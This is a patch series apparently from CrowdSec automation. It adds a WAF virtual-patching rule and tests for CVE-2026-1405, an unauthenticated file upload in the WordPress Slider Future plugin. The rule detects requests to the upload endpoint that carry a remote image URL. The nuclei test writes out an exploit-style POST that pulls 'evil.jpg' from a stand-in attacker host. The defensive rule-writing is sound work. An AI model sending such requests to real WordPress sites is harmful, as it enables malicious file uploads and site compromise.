From 4c16f6ba95e865a843567754b6ad981efa9daf25 Mon Sep 17 00:00:00 2001
From: crowdsec-automation
 <63358111+crowdsec-automation@users.noreply.github.com>
Date: Wed, 1 Apr 2026 15:14:56 +0200
Subject: [PATCH 1/4] Add vpatch-CVE-2026-1405 rule

---
 .../crowdsecurity/vpatch-CVE-2026-1405.yaml   | 34 +++++++++++++++++++
 1 file changed, 34 insertions(+)
 create mode 100644 appsec-rules/crowdsecurity/vpatch-CVE-2026-1405.yaml

diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2026-1405.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2026-1405.yaml
new file mode 100644
index 00000000000..561b2233273
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2026-1405.yaml
@@ -0,0 +1,34 @@
+## autogenerated on 2026-04-01 13:14:53
+name: crowdsecurity/vpatch-CVE-2026-1405
+description: 'Detects unauthenticated arbitrary file upload in WordPress Slider Future plugin <= 1.0.5 via /wp-json/slider-future/v1/upload-image/'
+rules:
+  - and:
+      - zones:
+          - URI
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: /wp-json/slider-future/v1/upload-image/
+      - zones:
+          - BODY_ARGS
+        variables:
+          - json.image_url
+        transform:
+          - lowercase
+          - urldecode
+        match:
+          type: contains
+          value: http
+
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'WordPress Slider Future - File Upload'
+  classification:
+    - cve.CVE-2026-1405
+    - attack.T1190
+    - cwe.CWE-434

From 325e901552de3d98355bd49430f421cf3e085fdf Mon Sep 17 00:00:00 2001
From: crowdsec-automation
 <63358111+crowdsec-automation@users.noreply.github.com>
Date: Wed, 1 Apr 2026 15:14:58 +0200
Subject: [PATCH 2/4] Add vpatch-CVE-2026-1405 test config

---
 .appsec-tests/vpatch-CVE-2026-1405/config.yaml | 5 +++++
 1 file changed, 5 insertions(+)
 create mode 100644 .appsec-tests/vpatch-CVE-2026-1405/config.yaml

diff --git a/.appsec-tests/vpatch-CVE-2026-1405/config.yaml b/.appsec-tests/vpatch-CVE-2026-1405/config.yaml
new file mode 100644
index 00000000000..e0a477f8029
--- /dev/null
+++ b/.appsec-tests/vpatch-CVE-2026-1405/config.yaml
@@ -0,0 +1,5 @@
+## autogenerated on 2026-04-01 13:14:53
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2026-1405.yaml
+nuclei_template: CVE-2026-1405.yaml

From 2534c5d0d881dde1f015dc45d5ff86785ff5af70 Mon Sep 17 00:00:00 2001
From: crowdsec-automation
 <63358111+crowdsec-automation@users.noreply.github.com>
Date: Wed, 1 Apr 2026 15:15:00 +0200
Subject: [PATCH 3/4] Add CVE-2026-1405.yaml test

---
 .../vpatch-CVE-2026-1405/CVE-2026-1405.yaml   | 21 +++++++++++++++++++
 1 file changed, 21 insertions(+)
 create mode 100644 .appsec-tests/vpatch-CVE-2026-1405/CVE-2026-1405.yaml

diff --git a/.appsec-tests/vpatch-CVE-2026-1405/CVE-2026-1405.yaml b/.appsec-tests/vpatch-CVE-2026-1405/CVE-2026-1405.yaml
new file mode 100644
index 00000000000..5082e7454d8
--- /dev/null
+++ b/.appsec-tests/vpatch-CVE-2026-1405/CVE-2026-1405.yaml
@@ -0,0 +1,21 @@
+## autogenerated on 2026-04-01 13:14:53
+id: CVE-2026-1405
+info:
+  name: CVE-2026-1405
+  author: crowdsec
+  severity: info
+  description: CVE-2026-1405 testing
+  tags: appsec-testing
+http:
+  - raw:
+      - |
+        POST /wp-json/slider-future/v1/upload-image/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"image_url":"http://attacker.com/evil.jpg"}
+    cookie-reuse: true
+    matchers:
+    - type: status
+      status:
+       - 403

From 2a4ab094ed70e8a8193021bd2af3f78363baabeb Mon Sep 17 00:00:00 2001
From: crowdsec-automation
 <63358111+crowdsec-automation@users.noreply.github.com>
Date: Wed, 1 Apr 2026 15:15:02 +0200
Subject: [PATCH 4/4] Add vpatch-CVE-2026-1405 rule to vpatch collection

---
 collections/crowdsecurity/appsec-virtual-patching.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/collections/crowdsecurity/appsec-virtual-patching.yaml b/collections/crowdsecurity/appsec-virtual-patching.yaml
index 769bab174d9..3ddff1b2f24 100644
--- a/collections/crowdsecurity/appsec-virtual-patching.yaml
+++ b/collections/crowdsecurity/appsec-virtual-patching.yaml
@@ -116,6 +116,7 @@ appsec-rules:
 - crowdsecurity/vpatch-CVE-2025-49113
 - crowdsecurity/appsec-generic-test
 - crowdsecurity/vpatch-CVE-2025-25257
+- crowdsecurity/vpatch-CVE-2026-1405
 - crowdsecurity/vpatch-CVE-2019-5418
 - crowdsecurity/vpatch-CVE-2025-52488
 - crowdsecurity/vpatch-CVE-2025-49132